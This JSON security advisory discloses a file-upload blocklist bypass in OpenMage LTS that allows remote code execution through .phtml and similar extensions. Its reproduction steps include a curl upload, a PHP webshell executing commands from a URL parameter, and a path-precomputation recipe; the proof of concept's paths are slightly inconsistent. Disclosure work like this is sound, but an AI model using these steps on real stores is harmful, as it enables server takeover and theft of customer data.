{"id":"GHSA-3j5q-7q7h-2hhv","summary":"OpenMage LTS: Customer File Upload Extension Blocklist Bypass → Remote Code Execution","details":"The product custom option file upload in OpenMage LTS uses an incomplete blocklist (`forbidden_extensions = php,exe`) to prevent dangerous file uploads. This blocklist can be trivially bypassed by using alternative PHP-executable extensions such as `.phtml`, `.phar`, `.php3`, `.php4`, `.php5`, `.php7`, and `.pht`. Files are stored in the publicly accessible `media/custom_options/quote/` directory, which lacks server-side execution restrictions for some configurations, enabling Remote Code Execution if this directory is not explicitly denied script execution.\n\n## Affected Version\n\n- **Project:** OpenMage/magento-lts\n- **Vulnerable File:** `https://github.com/OpenMage/magento-lts/blob/main/app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php`\n- **Vulnerable Lines:** 230-237 (`_validateUploadedFile()`)\n- **Configuration:** `app/code/core/Mage/Catalog/etc/config.xml:824`\n\n## Root Cause\n\nThe file upload handler uses `Zend_File_Transfer_Adapter_Http` directly with `ExcludeExtension` validator, referencing only:\n\n```xml\n\u003c!-- Catalog/etc/config.xml:824 --\u003e\n\u003cforbidden_extensions\u003ephp,exe\u003c/forbidden_extensions\u003e\n```\n\nThis misses the comprehensive `protected_extensions` blocklist defined elsewhere:\n\n```xml\n\u003c!-- Core/etc/config.xml:449-478 --\u003e\nphp, php3, php4, php5, php7, htaccess, jsp, pl, py, asp, sh, cgi, \nhtm, html, pht, phtml, shtml\n```\n\n## Vulnerable Code\n\n```php\n// app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php:230-237\n$_allowed = $this-\u003e_parseExtensionsString($option-\u003egetFileExtension());\nif ($_allowed !== null) {\n    $upload-\u003eaddValidator('Extension', false, $_allowed);\n} else {\n    $_forbidden = $this-\u003e_parseExtensionsString($this-\u003egetConfigData('forbidden_extensions'));\n    if ($_forbidden !== null) {\n        $upload-\u003eaddValidator('ExcludeExtension', false, $_forbidden);  // Only blocks php,exe!\n    }\n}\n```\n\n## Steps to Reproduce\n\n### 1. Environment Setup\n\nTarget: OpenMage LTS with Apache+mod_php or Apache+PHP-FPM (with .phtml handler)\n\n### 2. Exploitation\n\n\n```bash\n# Upload .phtml (bypasses blocklist)\ncurl -X POST \"https://target.com/vulnerable_upload.php\" \\\n  -F \"file=@shell.phtml;filename=shell.phtml\"\n```\n\n**Result:** \n\u003cimg width=\"1563\" height=\"733\" alt=\"image\" src=\"https://github.com/user-attachments/assets/c56d43e8-364a-4402-8198-9f49a50fd691\" /\u003e\n\n### 3. Code Execution\n\nOpenMage derives the uploaded file's storage path deterministically from two values the attacker\nalready controls:\n\n**Subdirectory** — `getDispretionPath($filename)` takes the **first two characters** of the\nuploaded filename and uses them as nested directory names:\n\n```\nfilename = \"shell.phtml\"  →  s/ h/  →  media/custom_options/quote/s/h/\n```\n\n**Filename** — `md5(file_get_contents($tmp_name))` is computed over the **raw bytes of the\nuploaded payload** (`File.php:245`):\n\n```php\n// app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php:245\n$fileHash = md5(file_get_contents($fileInfo['tmp_name']));\n$filePath  = $dispersion . DS . $fileHash . '.' . $extension;\n```\n\nBecause the attacker writes the webshell themselves, both the filename prefix and file contents are\nknown **before the upload request is sent**. The full URL can be pre-computed:\n\n```bash\nSHELL_CONTENT='\u003c?php echo exec(\"id\"); system($_GET[\"cmd\"]??\"id\"); ?\u003e\\n'\nHASH=$(echo -n \"$SHELL_CONTENT\" | md5sum | cut -d' ' -f1)\nPREFIX=$(echo \"shell\" | cut -c1-2 | sed 's/./&\\//g' | tr -d '\\n' | sed 's/\\/$//') # → s/h\n\n```bash\ncurl \"https://target.com/media/custom_options/quote/d9/bb4d647f16d9e7edfe49216140de2879.phtml\"\n```\n\n**Result:** RCE Confirmed\n\n\u003cimg width=\"1559\" height=\"827\" alt=\"image\" src=\"https://github.com/user-attachments/assets/12990f06-8750-48e6-87c5-add18b9e7260\" /\u003e\n\n## Affected Deployments\n\n| Configuration | Status |\n|---------------|--------|\n| Apache + mod_php (with `php_flag engine 0`) | SAFE |\n| Apache + PHP-FPM | **VULNERABLE** |\n| Nginx (reference hardened config) | SAFE |\n| Nginx (generic config with .phtml→FPM) | **VULNERABLE** |\n\n## Impact\n\n1. **Remote Code Execution:** Full server compromise through webshell upload\n2. **Data Exfiltration:** Access to database credentials, customer PII, payment data\n3. **Lateral Movement:** Pivot to internal infrastructure\n4. **Supply Chain:** Inject malicious code into served content","aliases":["CVE-2026-40488"],"modified":"2026-05-05T16:00:15.718521Z","published":"2026-04-21T18:53:13Z","database_specific":{"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-04-21T18:53:13Z","nvd_published_at":"2026-04-20T17:16:36Z","cwe_ids":["CWE-434"]},"references":[{"type":"WEB","url":"https://github.com/OpenMage/magento-lts/security/advisories/GHSA-3j5q-7q7h-2hhv"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40488"},{"type":"PACKAGE","url":"https://github.com/OpenMage/magento-lts"}],"affected":[{"package":{"name":"openmage/magento-lts","ecosystem":"Packagist","purl":"pkg:composer/openmage/magento-lts"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"20.17.0"}]}],"versions":["1.9.1.1","1.9.2.0","1.9.2.1","1.9.2.2","1.9.2.3","1.9.2.4","1.9.3.0","1.9.3.1","v19.4.0","v19.4.1","v19.4.10","v19.4.11","v19.4.12","v19.4.13","v19.4.14","v19.4.15","v19.4.16","v19.4.17","v19.4.18","v19.4.19","v19.4.2","v19.4.20","v19.4.21","v19.4.22","v19.4.23","v19.4.3","v19.4.4","v19.4.5","v19.4.6","v19.4.7","v19.4.8","v19.4.9","v19.5.0","v19.5.0-rc1","v19.5.0-rc2","v19.5.0-rc3","v19.5.0-rc4","v19.5.0-rc5","v19.5.1","v19.5.2","v19.5.3","v20.0.0","v20.0.1","v20.0.10","v20.0.11","v20.0.12","v20.0.13","v20.0.14","v20.0.15","v20.0.16","v20.0.17","v20.0.18","v20.0.19","v20.0.2","v20.0.20","v20.0.3","v20.0.4","v20.0.5","v20.0.6","v20.0.7","v20.0.8","v20.1.0","v20.1.0-rc1","v20.1.0-rc2","v20.1.0-rc3","v20.1.0-rc4","v20.1.0-rc5","v20.1.0-rc6","v20.1.0-rc7","v20.1.1","v20.10.0","v20.10.1","v20.10.2","v20.11.0","v20.12.0","v20.12.1","v20.12.2","v20.12.3","v20.13.0","v20.14.0","v20.15.0","v20.16.0","v20.2.0","v20.3.0","v20.4.0","v20.5.0","v20.6.0","v20.7.0","v20.8.0","v20.9.0"],"database_specific":{"last_known_affected_version_range":"\u003c= 20.16.0","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-3j5q-7q7h-2hhv/GHSA-3j5q-7q7h-2hhv.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}]}